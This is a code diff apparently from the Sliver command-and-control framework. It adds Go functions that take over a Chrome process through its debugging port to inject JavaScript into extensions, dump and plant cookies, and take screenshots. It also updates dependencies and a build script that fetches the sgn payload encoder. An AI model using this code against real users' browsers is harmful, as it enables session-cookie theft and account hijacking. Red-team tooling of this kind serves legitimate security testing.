+// ExecuteJS - injects a JavaScript code into a target
+func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
+	targetInfo := findTargetInfoByID(ctx, targetID)
+	if targetInfo == nil {
+		return nil, ErrTargetNotFound
+	}
+	extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
+	var result []byte
+	evalTasks := chromedp.Tasks{
+		chromedp.Evaluate(jsCode, &result),
+	}
+	err := chromedp.Run(extCtx, evalTasks)
+	return result, err
+}
+
+// FindExtensionWithPermissions - Find an extension with a permission
+func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
+	targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
+	if err != nil {
+		return nil, err
+	}
+	for _, target := range targets {
+		ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
+		result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
+		if err != nil {
+			continue
+		}
+		manifest := &Manifest{}
+		err = json.Unmarshal(result, manifest)
+		if err != nil {
+			continue
+		}
+		if containsAll(manifest.Permissions, permissions) {
+			return &target, nil
+		}
+	}
+	return nil, nil // No targets, no errors
+}
+
+// FindExtensionsWithPermissions - Find an extension with a permission
+func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
+	targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
+	if err != nil {
+		return nil, err
+	}
+	extensions := []*ChromeDebugTarget{}
+	for _, target := range targets {
+		ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
+		result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
+		if err != nil {
+			continue
+		}
+		manifest := &Manifest{}
+		err = json.Unmarshal(result, manifest)
+		if err != nil {
+			continue
+		}
+		if containsAll(manifest.Permissions, permissions) {
+			extensions = append(extensions, &target)
+		}
+	}
+	return extensions, nil
+}
+
+// QueryDebugTargets - Query debug listener using HTTP client
+func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
+	resp, err := http.Get(debugURL)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, errors.New("Non-200 status code")
+	}
+	data, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
+	debugContexts := []ChromeDebugTarget{}
+	err = json.Unmarshal(data, &debugContexts)
+	return debugContexts, err
+}
+
+// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
+func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
+	resp, err := http.Get(debugURL)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, errors.New("Non-200 status code")
+	}
+	data, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
+	debugContexts := []ChromeDebugTarget{}
+	err = json.Unmarshal(data, &debugContexts)
+	if err != nil {
+		return nil, err
+	}
+	extensionContexts := []ChromeDebugTarget{}
+	for _, debugCtx := range debugContexts {
+		ctxURL, err := url.Parse(debugCtx.URL)
+		if err != nil {
+			continue
+		}
+		if ctxURL.Scheme == "chrome-extension" {
+			extensionContexts = append(extensionContexts, debugCtx)
+		}
+	}
+	return extensionContexts, nil
+}
+
+// DumpCookies - Dump all cookies from the remote debug target
+func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
+	var cookies []*network.Cookie
+	var err error
+	dumpCookieTasks := chromedp.Tasks{
+		// read network values
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			cookies, err = network.GetAllCookies().Do(ctx)
+			if err != nil {
+				return err
+			}
+			// for i, cookie := range cookies {
+			// 	log.Printf("chrome cookie %d: %+v", i, cookie)
+			// }
+			return nil
+		}),
+	}
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	ctx, _ := chromedp.NewContext(taskCtx)
+	if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
+		return cookies, err
+	}
+	return cookies, nil
+}
+
+func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
+	var res string
+	setCookieTasks := chromedp.Tasks{
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			// create cookie expiration
+			expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
+			// add cookies to chrome
+			for i := 0; i < len(cookies); i += 2 {
+				err := network.SetCookie(cookies[i], cookies[i+1]).
+					WithExpires(&expr).
+					WithDomain("localhost").
+					WithHTTPOnly(true).
+					Do(ctx)
+				if err != nil {
+					return err
+				}
+			}
+			return nil
+		}),
+		// navigate to site
+		// chromedp.Navigate(host),
+		// read the returned values
+		// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
+	}
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	ctx, _ := chromedp.NewContext(taskCtx)
+	if err := chromedp.Run(ctx, setCookieTasks); err != nil {
+		return "", err
+	}
+
+	return res, nil
+}
+
+// Screenshot - Take a screenshot of a Chrome context
+func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
+	var result []byte
+	screenshotTask := chromedp.Tasks{
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
+			if err != nil {
+				return err
+			}
+			result, err = page.CaptureScreenshot().
+				WithQuality(quality).
+				WithClip(&page.Viewport{
+					X:      contentSize.X,
+					Y:      contentSize.Y,
+					Width:  contentSize.Width,
+					Height: contentSize.Height,
+					Scale:  1,
+				}).Do(ctx)
+			if err != nil {
+				return err
+			}
+			return nil
+		}),
+	}
+
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	targetInfo := findTargetInfoByID(taskCtx, targetID)
+	if targetInfo == nil {
+		return []byte{}, ErrTargetNotFound
+	}
+	ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
+	if err := chromedp.Run(ctx, screenshotTask); err != nil {
+		return nil, err
+	}
+	return result, nil
+}

docs/Gemfile.lock

@@ -14,7 +14,7 @@ GEM
       execjs
     coffee-script-source (1.11.1)
     colorator (1.1.0)
-    commonmarker (0.23.4)
+    commonmarker (0.23.6)
     concurrent-ruby (1.1.9)
     dnsruby (1.61.9)
       simpleidn (~> 0.1)
@@ -265,7 +265,7 @@ GEM
     thread_safe (0.3.6)
     typhoeus (1.4.0)
       ethon (>= 0.9.0)
-    tzinfo (1.2.9)
+    tzinfo (1.2.10)
       thread_safe (~> 0.1)
     tzinfo-data (1.2021.5)
       tzinfo (>= 1.0.0)

go-assets.sh

@@ -20,12 +20,12 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.18.4"
-GARBLE_VER="1.18.0"
+GO_VER="1.19.1"
+GARBLE_VER="1.19.2"
+SGN_VER="0.0.3"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
-GO_ARCH_3="386"
 BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
 
 if ! [ -x "$(command -v curl)" ]; then
@@ -165,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
 curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
 
+
+echo "-----------------------------------------------------------------"
+echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
+echo "-----------------------------------------------------------------"
+
+# Linux (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
+
+# Linux (arm64)
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
+
+# Windows (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
+
+# MacOS (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
+
+# MacOS (arm64)
+echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
+curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
+
+
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR

go-tests.sh

@@ -149,6 +149,7 @@ else
 fi
 
 # server / generate
+export GOPROXY=off
 if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
     :
 else

go.mod

@@ -1,53 +1,59 @@
 module github.com/bishopfox/sliver
 
-go 1.17
+go 1.18
 
 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
 
 require (
-	github.com/AlecAivazis/survey/v2 v2.2.2
+	github.com/AlecAivazis/survey/v2 v2.3.6
 	github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/alecthomas/chroma v0.8.1
-	github.com/cheggaaa/pb/v3 v3.0.5
+	github.com/Ne0nd0g/go-clr v1.0.2
+	github.com/alecthomas/chroma v0.10.0
+	github.com/cheggaaa/pb/v3 v3.1.0
+	github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
+	github.com/chromedp/chromedp v0.8.5
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
-	github.com/fatih/color v1.12.0
-	github.com/gofrs/uuid v3.3.0+incompatible
+	github.com/desertbit/readline v1.5.1
+	github.com/fatih/color v1.13.0
+	github.com/gofrs/uuid v4.3.0+incompatible
 	github.com/google/uuid v1.3.0
 	github.com/gorilla/mux v1.8.0
-	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
-	github.com/jedib0t/go-pretty/v6 v6.2.4
+	github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
+	github.com/jedib0t/go-pretty/v6 v6.3.8
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
-	github.com/mattn/go-sqlite3 v1.14.12
-	github.com/miekg/dns v1.1.35
+	github.com/mattn/go-sqlite3 v1.14.15
+	github.com/miekg/dns v1.1.50
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
+	github.com/onsi/ginkgo v1.16.5
+	github.com/onsi/gomega v1.20.2
 	github.com/pquerna/otp v1.3.0
-	github.com/shirou/gopsutil/v3 v3.21.10
-	github.com/sirupsen/logrus v1.8.1
-	github.com/spf13/cobra v1.1.1
-	github.com/stretchr/testify v1.7.0
+	github.com/shirou/gopsutil/v3 v3.22.8
+	github.com/sirupsen/logrus v1.9.0
+	github.com/spf13/cobra v1.5.0
+	github.com/stretchr/testify v1.8.0
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
-	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
-	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
+	golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
+	golang.org/x/net v0.0.0-20220722155237-a158d28d115b
+	golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
 	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
 	golang.org/x/text v0.3.7
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
 	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
-	google.golang.org/protobuf v1.27.1
+	google.golang.org/protobuf v1.28.1
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
-	gorm.io/driver/mysql v1.0.3
-	gorm.io/driver/postgres v1.0.5
-	gorm.io/driver/sqlite v1.1.3
-	gorm.io/gorm v1.21.14
-	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+	gorm.io/driver/mysql v1.3.6
+	gorm.io/driver/postgres v1.3.10
+	gorm.io/driver/sqlite v1.3.6
+	gorm.io/gorm v1.23.9
+	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
 	modernc.org/sqlite v1.16.0
 )
 
@@ -55,58 +61,66 @@ require (
 	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
 	github.com/Microsoft/go-winio v0.5.1 // indirect
-	github.com/StackExchange/wmi v1.2.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
 	github.com/VividCortex/ewma v1.1.1 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
-	github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
+	github.com/chromedp/sysutil v1.0.0 // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
 	github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
 	github.com/desertbit/closer/v3 v3.1.2 // indirect
-	github.com/desertbit/readline v1.5.1 // indirect
-	github.com/dlclark/regexp2 v1.2.0 // indirect
+	github.com/dlclark/regexp2 v1.4.0 // indirect
+	github.com/fsnotify/fsnotify v1.4.9 // indirect
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/go-ole/go-ole v1.2.6 // indirect
-	github.com/go-sql-driver/mysql v1.5.0 // indirect
+	github.com/go-sql-driver/mysql v1.6.0 // indirect
+	github.com/gobwas/httphead v0.1.0 // indirect
+	github.com/gobwas/pool v0.2.1 // indirect
+	github.com/gobwas/ws v1.1.0 // indirect
 	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/btree v1.0.1 // indirect
+	github.com/google/go-cmp v0.5.8 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
 	github.com/inconshreveable/mousetrap v1.0.0 // indirect
 	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
-	github.com/jackc/pgconn v1.7.0 // indirect
+	github.com/jackc/pgconn v1.13.0 // indirect
 	github.com/jackc/pgio v1.0.0 // indirect
 	github.com/jackc/pgpassfile v1.0.0 // indirect
-	github.com/jackc/pgproto3/v2 v2.0.5 // indirect
+	github.com/jackc/pgproto3/v2 v2.3.1 // indirect
 	github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
-	github.com/jackc/pgtype v1.5.0 // indirect
-	github.com/jackc/pgx/v4 v4.9.0 // indirect
+	github.com/jackc/pgtype v1.12.0 // indirect
+	github.com/jackc/pgx/v4 v4.17.2 // indirect
 	github.com/jinzhu/inflection v1.0.0 // indirect
-	github.com/jinzhu/now v1.1.2 // indirect
+	github.com/jinzhu/now v1.1.5 // indirect
+	github.com/josharian/intern v1.0.0 // indirect
 	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
 	github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-	github.com/mattn/go-colorable v0.1.8 // indirect
-	github.com/mattn/go-isatty v0.0.13 // indirect
-	github.com/mattn/go-runewidth v0.0.9 // indirect
+	github.com/mailru/easyjson v0.7.7 // indirect
+	github.com/mattn/go-colorable v0.1.9 // indirect
+	github.com/mattn/go-isatty v0.0.14 // indirect
+	github.com/mattn/go-runewidth v0.0.13 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
 	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
+	github.com/nxadm/tail v1.4.8 // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
+	github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
 	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
-	github.com/sergi/go-diff v1.1.0 // indirect
+	github.com/rivo/uniseg v0.2.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
+	github.com/yusufpapurcu/wmi v1.2.2 // indirect
 	golang.org/x/mod v0.5.1 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
 	golang.org/x/tools v0.1.9 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
 	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
-	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
 	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
-	gopkg.in/yaml.v3 v3.0.0 // indirect
+	gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
+	gopkg.in/yaml.v3 v3.0.1 // indirect
 	lukechampine.com/uint128 v1.1.1 // indirect
 	modernc.org/cc/v3 v3.35.24 // indirect
 	modernc.org/ccgo/v3 v3.15.18 // indirect

implant/README.md

@@ -1,5 +1,5 @@
 Implant
-========
+=======
 
 This directory contains the code for Sliver's implant, implant source code is dynamically
 rendered at runtime via the `generate` command. The code generation inserts the per-binary
@@ -11,3 +11,9 @@ that will be supported on different platforms.
 Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
 valid Go compiler target but only contains very generic commands/features.
 
+Development
+===========
+
+Before committing any changes to any implant files, run `go generate` in this directory. This
+will ensure the vendor directory is kept up to date so offline implant builds will function
+correctly.

implant/generate.go

@@ -0,0 +1,3 @@
+package implant
+
+//go:generate ./scripts/update-vendor.sh

implant/go-mod

@@ -1,24 +1,49 @@
 module github.com/bishopfox/sliver
 
-go 1.17
+go 1.18
 
 require (
-github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-github.com/Microsoft/go-winio v0.5.0 // indirect
-github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
-github.com/gofrs/uuid v4.0.0+incompatible
-github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
-github.com/lesnuages/go-winio v0.4.19
-github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-github.com/pquerna/otp v1.3.0
-github.com/stretchr/testify v1.7.0
-golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
-golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
-golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
-golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
-golang.zx2c4.com/wireguard/windows v0.5.1
-gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
-google.golang.org/protobuf v1.23.0
-github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
+	github.com/Ne0nd0g/go-clr v1.0.2
+	github.com/gofrs/uuid v4.0.0+incompatible
+	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
+	github.com/lesnuages/go-winio v0.4.19
+	github.com/miekg/dns v1.1.50
+	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
+	github.com/onsi/ginkgo v1.16.5
+	github.com/onsi/gomega v1.20.2
+	github.com/pquerna/otp v1.3.0
+	github.com/stretchr/testify v1.7.0
+	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
+	golang.org/x/net v0.0.0-20220722155237-a158d28d115b
+	golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
+	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
+	google.golang.org/protobuf v1.28.0
+	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
+)
+
+require (
+	github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
+	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
+	github.com/Microsoft/go-winio v0.5.1 // indirect
+	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
+	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
+	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
+	github.com/davecgh/go-spew v1.1.1 // indirect
+	github.com/fsnotify/fsnotify v1.4.9 // indirect
+	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
+	github.com/google/btree v1.0.1 // indirect
+	github.com/google/go-cmp v0.5.8 // indirect
+	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+	github.com/nxadm/tail v1.4.8 // indirect
+	github.com/pmezard/go-difflib v1.0.0 // indirect
+	golang.org/x/mod v0.5.1 // indirect
+	golang.org/x/text v0.3.7 // indirect
+	golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
+	golang.org/x/tools v0.1.9 // indirect
+	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
+	gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
+	gopkg.in/yaml.v3 v3.0.1 // indirect
 )

implant/go-sum

@@ -4,8 +4,10 @@ github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIps
 github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
 github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr2F7h1sriovOZ8BMhca2Rg85c2nk=
 github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
-github.com/Microsoft/go-winio v0.5.0 h1:Elr9Wn+sGKPlkaBvwu4mTrxtmOp3F3yV9qhaHbXGjwU=
-github.com/Microsoft/go-winio v0.5.0/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
+github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
+github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
+github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
+github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
 github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
 github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
 github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
@@ -15,27 +17,54 @@ github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBW
 github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
 github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
+github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
+github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
 github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
 github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
+github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
 github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
 github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
+github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
 github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
 github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
 github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
 github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
 github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
+github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
+github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
+github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
 github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
 github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
 github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
 github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
-github.com/google/go-cmp v0.4.0 h1:xsAVV57WRhGj6kEIi8ReJzQlHHqcBYCElAvkovg3B/4=
 github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
